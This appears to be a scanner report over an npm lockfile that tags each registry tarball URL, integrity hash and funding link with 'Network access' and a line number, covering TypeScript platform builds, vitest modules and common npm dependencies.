"version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-linux-mips64el/-/typescript-linux-mips64el-7.0.2.tgz", "integrity": "sha512-R4KvAMnE43W5Qeqb0Ly56O3mWMWIAgsMyz36DCaycd5nbg/9kzm0liw3JocfRqyJY0KPm - Network accessline 1877
"resolved": "https://registry.npmjs.org/@typescript/typescript-linux-mips64el/-/typescript-linux-mips64el-7.0.2.tgz", - Network accessline 1892
"node_modules/@typescript/typescript-linux-ppc64": { "version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-linux-ppc64/-/typescript-linux-ppc64-7.0.2.tgz", - Network accessline 1893
"version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-linux-ppc64/-/typescript-linux-ppc64-7.0.2.tgz", "integrity": "sha512-DORx5b3sd/4S7eayxm4FQv+A7CrkUIGRaHiwI8oiHTAI1fAPWhF4J0vAlkC8biAlHSVVwxMQ3tj - Network accessline 1894
"resolved": "https://registry.npmjs.org/@typescript/typescript-linux-ppc64/-/typescript-linux-ppc64-7.0.2.tgz", - Network accessline 1909
"node_modules/@typescript/typescript-linux-riscv64": { "version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-linux-riscv64/-/typescript-linux-riscv64-7.0.2.tgz", - Network accessline 1910
"version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-linux-riscv64/-/typescript-linux-riscv64-7.0.2.tgz", "integrity": "sha512-wf0jqEDOjrPRnKwYRyyJDRo11KMbvMFrU+q4zqKyChODBzvlkbhNQfKvLxQCcwTpdDaXSHZ - Network accessline 1911
"resolved": "https://registry.npmjs.org/@typescript/typescript-linux-riscv64/-/typescript-linux-riscv64-7.0.2.tgz", - Network accessline 1926
"node_modules/@typescript/typescript-linux-s390x": { "version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-linux-s390x/-/typescript-linux-s390x-7.0.2.tgz", - Network accessline 1927
"version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-linux-s390x/-/typescript-linux-s390x-7.0.2.tgz", "integrity": "sha512-IkwJc3L7yhytWd/ewjyxNDfOmswCm9GWMJT/ue/dU4aZNbwZeYAetq42VyLmsmSjvoX7z74X6Za - Network accessline 1928
"resolved": "https://registry.npmjs.org/@typescript/typescript-linux-s390x/-/typescript-linux-s390x-7.0.2.tgz", - Network accessline 1943
"node_modules/@typescript/typescript-linux-x64": { "version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-linux-x64/-/typescript-linux-x64-7.0.2.tgz", - Network accessline 1944
"version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-linux-x64/-/typescript-linux-x64-7.0.2.tgz", "integrity": "sha512-EYdf2cNg7rgCWJnxCdJ+F3V39O8ihb37eHAu1LK8oAFizgTQbPOK7zHHXbPt8rX24COqODXeI3sIf0f - Network accessline 1945
"resolved": "https://registry.npmjs.org/@typescript/typescript-linux-x64/-/typescript-linux-x64-7.0.2.tgz", - Network accessline 1960
"node_modules/@typescript/typescript-netbsd-arm64": { "version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-netbsd-arm64/-/typescript-netbsd-arm64-7.0.2.tgz", - Network accessline 1961
"version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-netbsd-arm64/-/typescript-netbsd-arm64-7.0.2.tgz", "integrity": "sha512-+polYF4MF04aPpO5FTkHran9yUQDSXqy5GiSDKpsll5jy3l3+g9QLhpf39T+ePtefhXLOGrLl - Network accessline 1962
"resolved": "https://registry.npmjs.org/@typescript/typescript-netbsd-arm64/-/typescript-netbsd-arm64-7.0.2.tgz", - Network accessline 1977
"node_modules/@typescript/typescript-netbsd-x64": { "version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-netbsd-x64/-/typescript-netbsd-x64-7.0.2.tgz", - Network accessline 1978
"version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-netbsd-x64/-/typescript-netbsd-x64-7.0.2.tgz", "integrity": "sha512-8YIT0EHM/3dq10ZOVF/A7pc/YSMtbcecct4rWtexrnSCHOPcpC2KTLXfTCR6vDpnSiY12heNb1GiN - Network accessline 1979
"resolved": "https://registry.npmjs.org/@typescript/typescript-netbsd-x64/-/typescript-netbsd-x64-7.0.2.tgz", - Network accessline 1994
"node_modules/@typescript/typescript-openbsd-arm64": { "version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-openbsd-arm64/-/typescript-openbsd-arm64-7.0.2.tgz", - Network accessline 1995
"version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-openbsd-arm64/-/typescript-openbsd-arm64-7.0.2.tgz", "integrity": "sha512-APT8+ClYnuYm1u9+kgGXoMj2VzWzcymwh2gNSQVySHfkRDGOTVkoWLjCmOQSaO+PoqQ57B0 - Network accessline 1996
"resolved": "https://registry.npmjs.org/@typescript/typescript-openbsd-arm64/-/typescript-openbsd-arm64-7.0.2.tgz", - Network accessline 2011
"node_modules/@typescript/typescript-openbsd-x64": { "version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-openbsd-x64/-/typescript-openbsd-x64-7.0.2.tgz", - Network accessline 2012
"version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-openbsd-x64/-/typescript-openbsd-x64-7.0.2.tgz", "integrity": "sha512-yX7s+Q0Dln0Dt9tEzZsAjXXR/+ytBM7AlglaqyeMPxQszJ1JhlJdZ6jLA+IzldHtflX81em7lDa - Network accessline 2013
"resolved": "https://registry.npmjs.org/@typescript/typescript-openbsd-x64/-/typescript-openbsd-x64-7.0.2.tgz", - Network accessline 2028
"node_modules/@typescript/typescript-sunos-x64": { "version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-sunos-x64/-/typescript-sunos-x64-7.0.2.tgz", - Network accessline 2029
"version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-sunos-x64/-/typescript-sunos-x64-7.0.2.tgz", "integrity": "sha512-dLJDGaLZ1D4HPQn62u1n8mBDkJREwMsAkCdkwd4Ieqw+x3TUyTsqY0YiBCtE6H6OzzgGk3iuZ3vFWRS - Network accessline 2030
"resolved": "https://registry.npmjs.org/@typescript/typescript-sunos-x64/-/typescript-sunos-x64-7.0.2.tgz", - Network accessline 2045
"node_modules/@typescript/typescript-win32-arm64": { "version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-win32-arm64/-/typescript-win32-arm64-7.0.2.tgz", - Network accessline 2046
"version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-win32-arm64/-/typescript-win32-arm64-7.0.2.tgz", "integrity": "sha512-Gyl1Vy6OsWesLzmq+EP0Fb7b4Nid5232AvcA2SFcdYreldpNtYFFofPjnt62y9hQy7VTaZp65IC - Network accessline 2047
"resolved": "https://registry.npmjs.org/@typescript/typescript-win32-arm64/-/typescript-win32-arm64-7.0.2.tgz", - Network accessline 2062
"node_modules/@typescript/typescript-win32-x64": { "version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-win32-x64/-/typescript-win32-x64-7.0.2.tgz", - Network accessline 2063
"version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-win32-x64/-/typescript-win32-x64-7.0.2.tgz", "integrity": "sha512-0BQ3HkAHHlKLSp1qRvf3SUhGpGsDuhB/jgFw75guyqbxJqEaS0Cw/VFO8i2nHglJUzQCRtMMR/IBAKE - Network accessline 2064
"resolved": "https://registry.npmjs.org/@typescript/typescript-win32-x64/-/typescript-win32-x64-7.0.2.tgz", - Network accessline 2079
"node_modules/@vitest/expect": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-4.1.0.tgz", - Network accessline 2080
"version": "4.1.0", "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-4.1.0.tgz", "integrity": "sha512-EIxG7k4wlWweuCLG9Y5InKFwpMEOyrMb6ZJ1ihYu02LVj/bzUwn2VMU+13PinsjRW75XnITeFrQBMH5+dLvCDA==", - Network accessline 2081
"resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-4.1.0.tgz", - Network accessline 2092
}, "funding": { "url": "https://opencollective.com/vitest" - Network accessline 2093
"funding": { "url": "https://opencollective.com/vitest" } - Network accessline 2094
"url": "https://opencollective.com/vitest" - Network accessline 2097
"node_modules/@vitest/expect/node_modules/@vitest/pretty-format": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.1.0.tgz", - Network accessline 2098
"version": "4.1.0", "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.1.0.tgz", "integrity": "sha512-3RZLZlh88Ib0J7NQTRATfc/3ZPOnSUn2uDBUoGNn5T36+bALixmzphN26OUD3LRXWkJu4H0s5vvUeqBiw+kS0A==", - Network accessline 2099
"resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.1.0.tgz", - Network accessline 2105
}, "funding": { "url": "https://opencollective.com/vitest" - Network accessline 2106
"funding": { "url": "https://opencollective.com/vitest" } - Network accessline 2107
"url": "https://opencollective.com/vitest" - Network accessline 2110
"node_modules/@vitest/expect/node_modules/@vitest/utils": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.1.0.tgz", - Network accessline 2111
"version": "4.1.0", "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.1.0.tgz", "integrity": "sha512-XfPXT6a8TZY3dcGY8EdwsBulFCIw+BeeX0RZn2x/BtiY/75YGh8FeWGG8QISN/WhaqSrE2OrlDgtF8q5uhOTmw==", - Network accessline 2112
"resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.1.0.tgz", - Network accessline 2120
}, "funding": { "url": "https://opencollective.com/vitest" - Network accessline 2121
"funding": { "url": "https://opencollective.com/vitest" } - Network accessline 2122
"url": "https://opencollective.com/vitest" - Network accessline 2125
"node_modules/@vitest/mocker": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-4.1.0.tgz", - Network accessline 2126
"version": "4.1.0", "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-4.1.0.tgz", "integrity": "sha512-evxREh+Hork43+Y4IOhTo+h5lGmVRyjqI739Rz4RlUPqwrkFFDF6EMvOOYjTx4E8Tl6gyCLRL8Mu7Ry12a13Tw==", - Network accessline 2127
"resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-4.1.0.tgz", - Network accessline 2135
}, "funding": { "url": "https://opencollective.com/vitest" - Network accessline 2136
"funding": { "url": "https://opencollective.com/vitest" }, - Network accessline 2137
"url": "https://opencollective.com/vitest" - Network accessline 2152
"node_modules/@vitest/pretty-format": { "version": "4.1.11", "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.1.11.tgz", - Network accessline 2153
"version": "4.1.11", "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.1.11.tgz", "integrity": "sha512-yiZzPbGTS9Sr/JpFl8zHrcIkAofNbFV6k21vIgQN/cY/oxZeXhJv5sc/MBJ5jFKWmWs+oJHw0UXLZjmf931+Vw==", - Network accessline 2154
"resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.1.11.tgz", - Network accessline 2161
}, "funding": { "url": "https://opencollective.com/vitest" - Network accessline 2162
"funding": { "url": "https://opencollective.com/vitest" } - Network accessline 2163
"url": "https://opencollective.com/vitest" - Network accessline 2166
"node_modules/@vitest/runner": { "version": "4.1.11", "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-4.1.11.tgz", - Network accessline 2167
"version": "4.1.11", "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-4.1.11.tgz", "integrity": "sha512-LztvUgdwMNJMIkj3hQnnxiC2Xy1zNxq928W/xhjCLaNCzqTZOudjwbQf6v9IntZGPw132i2Lq2rgTRZHD3JHNw==", - Network accessline 2168
"resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-4.1.11.tgz", - Network accessline 2176
}, "funding": { "url": "https://opencollective.com/vitest" - Network accessline 2177
"funding": { "url": "https://opencollective.com/vitest" } - Network accessline 2178
"url": "https://opencollective.com/vitest" - Network accessline 2181
"node_modules/@vitest/snapshot": { "version": "4.1.11", "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-4.1.11.tgz", - Network accessline 2182
"version": "4.1.11", "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-4.1.11.tgz", "integrity": "sha512-pN7ikn1ON7h8ee4gIAp4AzyK+zBtJPzVbqOgu5LCEh4VaJVbPQcgYQYJIMGQPXVeJJq1fnfazis7a5pFNPahog==", - Network accessline 2183
"resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-4.1.11.tgz", - Network accessline 2193
}, "funding": { "url": "https://opencollective.com/vitest" - Network accessline 2194
"funding": { "url": "https://opencollective.com/vitest" } - Network accessline 2195
"url": "https://opencollective.com/vitest" - Network accessline 2198
"node_modules/@vitest/spy": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-4.1.0.tgz", - Network accessline 2199
"version": "4.1.0", "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-4.1.0.tgz", "integrity": "sha512-pz77k+PgNpyMDv2FV6qmk5ZVau6c3R8HC8v342T2xlFxQKTrSeYw9waIJG8KgV9fFwAtTu4ceRzMivPTH6wSxw==", - Network accessline 2200
"resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-4.1.0.tgz", - Network accessline 2203
"license": "MIT", "funding": { "url": "https://opencollective.com/vitest" - Network accessline 2204
"funding": { "url": "https://opencollective.com/vitest" } - Network accessline 2205
"url": "https://opencollective.com/vitest" - Network accessline 2208
"node_modules/@vitest/utils": { "version": "4.1.11", "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.1.11.tgz", - Network accessline 2209
"version": "4.1.11", "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.1.11.tgz", "integrity": "sha512-zTCVGpyFsGWBhllOyKlTw/vnr6D9qxsfSDyfbyZmTyjHw5N/VuvzHpHoQjm2ZJzn4RJgx5w4r7V0er69CmLgPQ==", - Network accessline 2210
"resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.1.11.tgz", - Network accessline 2219
}, "funding": { "url": "https://opencollective.com/vitest" - Network accessline 2220
"funding": { "url": "https://opencollective.com/vitest" } - Network accessline 2221
"url": "https://opencollective.com/vitest" - Network accessline 2224
"node_modules/agent-base": { "version": "7.1.4", "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz", - Network accessline 2225
"version": "7.1.4", "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz", "integrity": "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==", - Network accessline 2226
"resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz", - Network accessline 2234
"node_modules/assertion-error": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-2.0.1.tgz", - Network accessline 2235
"version": "2.0.1", "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-2.0.1.tgz", "integrity": "sha512-Izi8RQcffqCeNVgFigKli1ssklIbpHnCYc6AknXGYoB6grJqyeby7jv12JUQgmTAnIDnbck1uxksT4dzN3PWBA==", - Network accessline 2236
"resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-2.0.1.tgz", - Network accessline 2244
"node_modules/asynckit": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", - Network accessline 2245
"version": "0.4.0", "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", - Network accessline 2246
"resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", - Network accessline 2251
"node_modules/blake3-wasm": { "version": "2.1.5", "resolved": "https://registry.npmjs.org/blake3-wasm/-/blake3-wasm-2.1.5.tgz", - Network accessline 2252
"version": "2.1.5", "resolved": "https://registry.npmjs.org/blake3-wasm/-/blake3-wasm-2.1.5.tgz", "integrity": "sha512-F1+K8EbfOZE49dtoPtmxUQrpXaBIl3ICvasLh+nJta0xkz+9kF/7uet9fLnwKqhDrmj6g+6K3Tw9yQPUg2ka5g==", - Network accessline 2253
"resolved": "https://registry.npmjs.org/blake3-wasm/-/blake3-wasm-2.1.5.tgz", - Network accessline 2258
"node_modules/call-bind-apply-helpers": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", - Network accessline 2259
"version": "1.0.2", "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuM - Network accessline 2260
"resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", - Network accessline 2272
"node_modules/chai": { "version": "6.3.0", "resolved": "https://registry.npmjs.org/chai/-/chai-6.3.0.tgz", - Network accessline 2273
"version": "6.3.0", "resolved": "https://registry.npmjs.org/chai/-/chai-6.3.0.tgz", "integrity": "sha512-XWAtwJ6OHO+tj0EKCs0Y2UamnyOxseZWltU4x2U2wh8g4AigdjwvtUjvLP2tqkA/avxHEtzxNaqGq/YGNwckKg==", - Network accessline 2274
"resolved": "https://registry.npmjs.org/chai/-/chai-6.3.0.tgz", - Network accessline 2282
"node_modules/cjs-module-lexer": { "version": "1.2.3", "resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-1.2.3.tgz", - Network accessline 2283
"version": "1.2.3", "resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-1.2.3.tgz", "integrity": "sha512-0TNiGstbQmCFwt4akjjBg5pLRTSyj/PkWQ1ZoO2zntmg9yLqSRxwEa4iCfQLGjqhiqBfOJa7W/E8wfGrTDmlZQ==", - Network accessline 2284
"resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-1.2.3.tgz", - Network accessline 2289
"node_modules/combined-stream": { "version": "1.0.8", "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", - Network accessline 2290
"version": "1.0.8", "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", - Network accessline 2291
"resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", - Network accessline 2302
"node_modules/convert-source-map": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", - Network accessline 2303
"version": "2.0.0", "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", - Network accessline 2304
"resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", - Network accessline 2309
"node_modules/cookie": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/cookie/-/cookie-1.1.1.tgz", - Network accessline 2310
"version": "1.1.1", "resolved": "https://registry.npmjs.org/cookie/-/cookie-1.1.1.tgz", "integrity": "sha512-ei8Aos7ja0weRpFzJnEA9UHJ/7XQmqglbRwnf2ATjcB9Wq874VKH9kfjjirM6UhU2/E5fFYadylyhFldcqSidQ==", - Network accessline 2311
"resolved": "https://registry.npmjs.org/cookie/-/cookie-1.1.1.tgz", - Network accessline 2318
"funding": { "type": "opencollective", "url": "https://opencollective.com/express" - Network accessline 2319
"type": "opencollective", "url": "https://opencollective.com/express" } - Network accessline 2320
"url": "https://opencollective.com/express" - Network accessline 2323
"node_modules/cssstyle": { "version": "4.6.0", "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-4.6.0.tgz", - Network accessline 2324
"version": "4.6.0", "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-4.6.0.tgz", "integrity": "sha512-2z+rWdzbbSZv6/rhtvzvqeZQHrBaqgogqt85sqFNbabZOuFbCVFb8kPeEtZjiKkbrm395irpNKiYeFeLiQnFPg==", - Network accessline 2325
"resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-4.6.0.tgz", - Network accessline 2337
"node_modules/cssstyle/node_modules/rrweb-cssom": { "version": "0.8.0", "resolved": "https://registry.npmjs.org/rrweb-cssom/-/rrweb-cssom-0.8.0.tgz", - Network accessline 2338
"version": "0.8.0", "resolved": "https://registry.npmjs.org/rrweb-cssom/-/rrweb-cssom-0.8.0.tgz", "integrity": "sha512-guoltQEx+9aMf2gDZ0s62EcV8lsXR+0w8915TC3ITdn2YueuNjdAYh/levpU9nFaoChh9RUS5ZdQMrKfVEN9tw==", - Network accessline 2339
"resolved": "https://registry.npmjs.org/rrweb-cssom/-/rrweb-cssom-0.8.0.tgz", - Network accessline 2344
"node_modules/data-urls": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-5.0.0.tgz", - Network accessline 2345
"version": "5.0.0", "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-5.0.0.tgz", "integrity": "sha512-ZYP5VBHshaDAiVZxjbRVcFJpc+4xGgT0bK3vzy1HLN8jTO975HEbuYzZJcHoQEY5K1a0z8YayJkyVETa08eNTg==", - Network accessline 2346
"resolved": "https://registry.npmjs.org/data-urls/-/data-urls-5.0.0.tgz", - Network accessline 2358
"node_modules/debug": { "version": "4.4.3", "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", - Network accessline 2359
"version": "4.4.3", "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", - Network accessline 2360
"resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", - Network accessline 2376
"node_modules/decimal.js": { "version": "10.6.0", "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz", - Network accessline 2377
"version": "10.6.0", "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz", "integrity": "sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg==", - Network accessline 2378
"resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz", - Network accessline 2383
"node_modules/delayed-stream": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", - Network accessline 2384
"version": "1.0.0", "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", - Network accessline 2385
"resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", - Network accessline 2393
"node_modules/detect-libc": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz", - Network accessline 2394
"version": "2.1.2", "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz", "integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==", - Network accessline 2395
"resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz", - Network accessline 2403
"node_modules/dunder-proto": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", - Network accessline 2404
"version": "1.0.1", "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", - Network accessline 2405
"resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", - Network accessline 2418
"node_modules/entities": { "version": "6.0.1", "resolved": "https://registry.npmjs.org/entities/-/entities-6.0.1.tgz", - Network accessline 2419
"version": "6.0.1", "resolved": "https://registry.npmjs.org/entities/-/entities-6.0.1.tgz", "integrity": "sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g==", - Network accessline 2420
"resolved": "https://registry.npmjs.org/entities/-/entities-6.0.1.tgz", - Network accessline 2426
}, "funding": { "url": "https://github.com/fb55/entities?sponsor=1" - Network accessline 2427
"funding": { "url": "https://github.com/fb55/entities?sponsor=1" } - Network accessline 2428
"url": "https://github.com/fb55/entities?sponsor=1" - Network accessline 2431
"node_modules/error-stack-parser-es": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/error-stack-parser-es/-/error-stack-parser-es-1.0.5.tgz", - Network accessline 2432
"version": "1.0.5", "resolved": "https://registry.npmjs.org/error-stack-parser-es/-/error-stack-parser-es-1.0.5.tgz", "integrity": "sha512-5qucVt2XcuGMcEGgWI7i+yZpmpByQ8J1lHhcL7PwqCwu9FPP3VUXzT4ltHe5i2z9dePwEHcDVOAfSnHsOlCXRA==" - Network accessline 2433
"resolved": "https://registry.npmjs.org/error-stack-parser-es/-/error-stack-parser-es-1.0.5.tgz", - Network accessline 2436
"license": "MIT", "funding": { "url": "https://github.com/sponsors/antfu" - Network accessline 2437
"funding": { "url": "https://github.com/sponsors/antfu" } - Network accessline 2438
"url": "https://github.com/sponsors/antfu" - Network accessline 2441
"node_modules/es-define-property": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", - Network accessline 2442
"version": "1.0.1", "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", - Network accessline 2443
"resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", - Network accessline 2451
"node_modules/es-errors": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", - Network accessline 2452
"version": "1.3.0", "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", - Network accessline 2453
"resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", - Network accessline 2461
"node_modules/es-module-lexer": { "version": "2.3.2", "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-2.3.2.tgz", - Network accessline 2462
"version": "2.3.2", "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-2.3.2.tgz", "integrity": "sha512-poHGpORABojJJucnV9KbOavETW8lBVnphkW77ER5/BQ5Fz7oXSoCNek7IH3vR5nRjdsEz926ibFYX8KtLQmdyw==", - Network accessline 2463
"resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-2.3.2.tgz", - Network accessline 2468
"node_modules/es-object-atoms": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.2.tgz", - Network accessline 2469
"version": "1.1.2", "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.2.tgz", "integrity": "sha512-HWcBoN6NileqtSydK2FqHbS/LoDd2pqrnQHLyJzBj4kOp/ky2MWMN694xOfkK8/SnUsW2DH7EfyVlydKCsm1Zw==", - Network accessline 2470
"resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.2.tgz", - Network accessline 2481
"node_modules/es-set-tostringtag": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", - Network accessline 2482
"version": "2.1.0", "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", - Network accessline 2483
"resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", - Network accessline 2497
"node_modules/esbuild": { "version": "0.28.1", "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.28.1.tgz", - Network accessline 2498
